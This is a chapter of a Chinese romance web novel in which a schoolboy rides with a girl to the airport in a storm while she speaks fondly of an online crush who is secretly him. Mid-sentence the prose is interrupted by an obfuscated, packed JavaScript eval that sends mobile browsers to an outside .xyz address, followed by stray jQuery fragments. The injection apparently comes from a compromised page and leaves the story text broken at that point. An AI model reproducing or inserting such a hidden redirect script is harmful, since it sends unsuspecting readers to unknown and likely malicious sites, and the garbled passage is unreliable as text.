秦译说完已经冲出了几米远。
在雨中好不容易狂奔到第一个路口，红灯，转头就看到了缩在墙边避雨的小女孩儿。
身上校服是防水冲锋衣式，但头发已经被淋湿，发丝一绺绺地黏在一起，狼狈得像个小刺猬、流浪汉。
秦译上前去，喘着气看她。
还没说话，她就抬头看了眼他，而后迅速转身从弯处下去了，“不要跟着我嘛呜呜呜呜，你快回家吧。”
“……”
秦译忙跟上去，伸长了手要去给她遮雨：“别走，你要去哪儿？地铁口不在那边，要过红绿灯。”
“我不去地铁。”风雨声里传来了她的回声。
秦译边追边喊：“那你要去哪儿？”
“机场嘛。”
秦译：“那你走路去吗你，我说了我打车。”
“我自己打。”
“你给我站住。”
秦译避让了两个撑伞的路人之后，终于在不远处的马路口追上了人，一把摁住她的手，拉住人，“在这我叫车，别跑了，雨这么大一会儿发烧了你就哭吧。”
她要走，说要自己打出租车。
“这条路没有出租，祖宗，距离那有出租车的广场还很远，你不认路别去。”他把她推到路边商铺的屋檐下去避雨，自己也躲过去，拿出手机打开软件叫车。
边输入地址，秦译边把自己的伞往她倾斜挡雨丝。
小姑娘噘着嘴，躲了下不愿意让他自己淋雨。
秦译不搭理她，兀自继续追上去撑伞，另一边在手机上摁着，忙活。
“去哪个机场？览东还是闵桥？”
“览东T2。”雨中的声音很僵硬。
这会儿的车子其实也不好打，下雨，打车的人就多了。
好在在电闪雷鸣的前一秒，有司机接单了，就在附近。秦译往前一步把人挡在角落里，不让她看到凌厉骇人的闪电。
雷击声紧凑地跟上来，轰隆炸响整个灰色天空。
虞菡身子抖了抖。
秦译低头安抚她：“别怕，没事的。”
虞菡撩起眼皮，灰暗中认真窥探着眼前俊毅难言的脸孔。她觉得，这句话好熟悉，在意大利的时候，她被秦译抱怀里，他好像也跟她说了这么一句话——别怕，没事的。
一字不差。
雷鸣不断，好在司机给力地在两分钟内到了。
秦译拉上人，过去打开车后门，把人塞进去后自己也钻了进去。
“你下去，你怎么跟我一起？”虞菡吓到了，立刻推他。
秦译自顾自地把她往里塞，“别管我。”
“不行不行你下去。”虞菡着急地说，“不然我下了。”
司机茫然地歪头往后看。好一会儿，看那女孩子终于被男孩子摁住动不了，才悠悠按下车内播放器的暂停键，问：“你们，是正经打车吗？不正经我要报警了。”说着看向虞菡，“需要我报警吗小姑娘？”
虞菡：“……”
秦译睨她：“快说。”
“……”她忍俊不禁，默默跟司机说，“谢谢，我们是朋友，没事的，我只是不希望他送我，太麻烦了。”
“哦。那尾号多少？”
秦译说得含糊：“2266。”完了就去看身边再次赌着气瞪他的女孩子，好在雨声很大她没听到他的话，没察觉这个号码他发给她过，顾着生气呢。
司机启动车子，确认目的地：“去览东机场T2是吧？”
“嗯。”说着，他看身边的女孩子，“你几点的飞机？下雨了车子走得慢，塞车的话要一个小时，来得及吗？”
“应该可以的。”她终于又问，“你上车做什么？我不想麻烦你。我跟你也不熟，上次欠钱就没还，这次我得还了吧？你手机号是多少？我直接给你转钱，不加你微信了。”
“……”
她叽里咕噜说完，秦译叹气：“我要去机场接人。”
“不可能。”
“真的。”秦译点开手机微信，把一个聊天框里的聊天内容给她看。
虞菡一瞅，看到昨晚有人给他发了个航班号和时间，他的备注是姐姐。
“但是，但是这个航班是晚上八点才落地的，现在还早呢。”
“顺路去不行吗？刚好送你，不然我晚点去也可以。”
虞菡欲言又止，最终低头呢喃：“我觉得太麻烦你了。我跟你也不熟。”
“那你真是养不熟，报警送我进去好了，我居心叵测拐卖人口。”
“……”她抬头，鼓起腮帮子。
秦译失笑。
她羞涩地扭开脸。
秦译目光投落在车玻璃外的瓢泼大雨上，其实担心的不是误机，而是有点担心她航班会不会延误。
如果延误就麻烦了。
回头，发现橘黄色的车灯下，小公主垂眼在看自己的头发，那发丝正往她裙摆上滴水。
他马上往前跟司机说：“纸巾盒，谢谢。”
司机抽了两张给他。
秦译直接指着他的盒子：“全给我。”
司机：“……”他略肉疼地把盒子递给他。
秦译：“一会儿给你好评。”
司机：“……”他笑了，一下大方道，“哎，没事，用嘛，纸巾而已。”
虞菡刚撩起眼皮，几张纸就摁在了她头顶。
“唔。”
秦译丢下纸巾盒，两只手去给她擦头发，“全湿了，你这个大傻子。”
“唔，没事的。”
把顷刻间湿透的纸丢沙发上，秦译又抽了几张去给她擦，一捧一捧地裹住吸水。
虞菡不好意思，自己拿过纸巾裹住湿漉漉的发丝。
男孩子也没有离开，就侧着身面向她，安静看着。
车厢后排灯光不亮，朦胧光线伴着雨声，总有种微妙的电影氛围，对两个异性来说略有些奇怪。
秦译本想移开眼，努力做到线上的他和线下的他分离开来，但是那一刻，车里播放器放了一曲粤语歌…《明年今日》。
若这一束灯光倾泻下来/或者我/
已不会存在/即使你不爱/亦不需要分开
他便定住，不动。
许是雨天空气流通较好，虞菡闻到了空气中一缕淡淡的檀香味，在这样凄厉的雨夜里无端让人心神安宁，很舒服。
她凑近，闻了闻他的肩头。
秦译：“……”他身子僵硬，“干嘛。”
小公主呢喃：“你身上的香味，我还以为是车里的香薰呢。好好闻。”
“……”秦译轻咳了下，偏开头去看雨。
虞菡就盯着他的下颌线看。灯下的少年好像更要好看三分，鼻翼处的阴影连接到高挺的眉峰下，让他的桃花眼深邃、荡漾流光。
回眸瞅她，她的心怦怦跳，又想起了某个她模模糊糊看过一眼的人，总觉得好像是他在身边。
她没忍住说：“你长得，好像一个人啊。”
“……”秦译冷静问道，“上次你也这么说。你网恋对象？”
“嗯。”
“……”秦译脸上刷地有点热，下意识脱口而出，“你不是说你们没谈吗？”
“哎呀，反正我很喜欢他。”她倒是忽然坦然了，“你可以说是我暗恋对象。”
“……”秦译问，“喜欢什么，你有见过他？”
“唔。”她沉思，“见过，也没见过。怎么说呢，我当时，眼睛糊满了血，半昏迷的状态，我见到他的脸了但是很模糊，我也记不住，现在怎么也想不起来。”
她捂住脑袋，“我还问过医生，我不会脑袋被砸失忆了吧，医生说没有，纯粹是我没记清人。”她失笑。
秦译眉心轻蹙，脑海里闪过了她说的那一帧画面。
她没看清是正常的，那天一开始他都没看清她的脸，全是血……后来去了医院，漫长的急救结束，他才看到擦干净血后露出来的一张，非常非常，漂亮的小脸蛋。
他说：“那你，没见到人就喜欢，人要是很丑呢。”
虞菡很自信：“那没有，我记忆里他很帅的。而且很多人说他帅，我就算记忆错乱了但不能别人也全是眼瞎的吧。”
“……”秦译轻吁空气，“你说，他叫什么来着？”
“秦译~”
“我们班的。”
“啊？”她蓦然间瞪大了一双凤眼，“你上次不是说不认识姓秦的吗？”
“骗你的。”
“那你骗我干嘛？”她很惊讶。
“觉得你被人骗了。”
她一下子笑了：“那他长什么样，有你帅吗？”
“你要看照片吗？”
她意外于他有照片，但是眼睛亮了一瞬后，又摇摇头，垂下脑袋，轻轻摇了摇。
秦译看着这一幕，心头明晃晃地感觉有一捆绳索在缠绕，勒紧，难受。
“为什么？”他问。
“看了也没用。”她语气轻飘飘，“不看更好，对他也好，对我也好。我都不打算回来了，回来一趟他要为我的安危一直忧心。”
秦译无话可说，蓦地偏开头望出车窗。
“但是，你可以跟我说说我有没有记忆错乱啊。”虞菡的兴致没有受什么影响，很快又回来了，“我记得他很帅的。”
“什么样的算帅？”秦译真的不懂，不知道怎么形容自己。
“你这样的啊。”她一下子就脱口而出，“你不知道自己长什么样的吗？他和你比怎么样？就算比不过你也是帅哥了，你跟个大明星似的，是我见过最帅的。”
“……”秦译悠悠道，“我不觉得自己，那什么……”
“哇你是不照镜子还是眼盲？”
“……”
虞菡掏出手机就要拍一张他的照片
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261401|181811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，被秦译生生按住了，然后，他声音僵硬地道：“那他，还行吧……和我，嗯，应该算是差不多，别人都这么说。”
“哇~！”
“好像也，一样高。”
“哇，那你们班可真厉害啊，这么多帅哥。”她眼睛很亮，宛若星辰。
他轻笑，一会儿，鬼使神差地说：“那他喜欢你吗？”
“……”虞菡想了想，不是很自信地道，“应该，也许，可能，喜欢吧。”
“怎么说？”
“不知道。”她深深呼了口气，“说不清楚，反正应该喜欢吧，不喜欢他干嘛天天陪我聊天到三更半夜。”
“这样啊，你们网恋的，都这么卖命。难怪你们能谈上。”
“……”她尴尬地笑。
秦译也不知道自己这会儿是怎么了，失心疯了吧，看着这个可爱好玩的小祖宗，就话贼多：“那你后悔认识他吗？”
她不太懂地歪歪脑袋，挑眉：“后悔？为什么后悔呢？”
秦译：“比如，你俩没谈的话，你和现实中的人在一块儿，不是更实际吗？跟他见一面难如登天。”
“……”
虞菡摇头：“那不后悔。”
秦译心中深深一突，“为什么？”
虞菡不假思索地解释：“我喜欢他不是纯粹因为脸，是因为……我们之间，一起经历过一些事，为彼此付出过，认识好长时间、很了解彼此了，还有每天都会说话，我们之间是有感情的。这些是哪怕我跟你已经见了好多面，也不一样的。”
她冲他略不好意思地浅笑：“坦白说我跟你之间就是纯偶遇，纯靠缘分，也许过了今晚这辈子我们都不会再见面了，但我和他不会，萍水相逢和有很多联系方式，不一样，我和他是不会断联的。”
秦译嘴角隐晦地微勾，点点头：“这样啊。”
看她没有擦头发了，他又去抽纸给她擦，“再擦擦，一会儿着凉了。”
虞菡注意到他的手腕带了一块手表。
“哎，你看到那个盒子了吗？我春节给你的那个。”她扬起自己的手，“和这个是同款，男款那个很酷的。”
秦译看了眼她食指上的戒指，点点头：“看了。”
“噢~”她美滋滋点点头。
话落，又想起什么，笑眯眯问他：“那你追不追星啊？”
“？”
她说：“你喜欢金唯吗？你上次去看她电影了，你应该喜欢她的吧？”
“……”
“我下次拿到签名照了也送你怎么样？可惜我今天没拿到。”
“……”他语调干涩而艰难，哑声道，“我、不追……不用了。”
除了朋友要照片，他会跟姐姐要，平时不往家里屯这些，最近有也是过年后那一阵子她回来，他要了想着以后能给他的小祖宗的。
送出去的他可不想再拿回来了，不然等相认的时候，她不把他剁了，霸占她的签名照。
虞菡不疑有他：“哦，好吧，男孩子好像追星的不多。”
“嗯。”
眼看她头发干了几成了，秦译收拾好垃圾，把空盒子递给司机，回头坐好。
车子驰骋在雨夜高架桥上，有条不紊地伴着单曲循环的“明年今日”在朝机场的方向行进。
人总需要勇敢生存/我还是重新许愿/
例如学会/承受失恋/
明年今日/别再要失眠
虞菡没再说话。
大概有几分钟过去，秦译觉得她有点安静，整个人好像都放空了在发呆。
正看过去，她却蓦地抬头也朝他看来。
秦译：“嗯？”
“你说，一直不见面的人，真的可以不断联吗？”
秦译意外于听到这句话，一时忘了反应。
虞菡呢喃：“可是，确实不好见。”
秦译：“那你，就当个不见面的网友，就好了。而不是线下的朋友。”
虞菡：“可是线下的朋友都会走散的，现在因为学业，以后因为工作，会异地再异国，相聚与友谊都是一时一时的，华筵一定会散场；线上的话，就算拥有再多联系方式，也是一键删除就可以搞定了。”
秦译很意外于她这个年纪会这么解读朋友的关系。
江南到新加坡这段三千多公里的距离，貌似催熟了小公主的心性。
他说：“线下的也会走散，你说得对，那你在怕什么？”
虞菡：“怕和他没关系了呀。”她呢喃，“怕是因为我不想，不是注定会就可以任由…”
秦译凝神看了她好一会儿。
她好像也没执着于他给她想个办法，可能只是抒发一下难过，说完又似乎在安静听歌了。
但明年今日这种歌着实不适合她此刻听，秦译控制了会儿，还是没忍住说：“三千多公里对于爱你的人，很近。你来不了等他去找你。”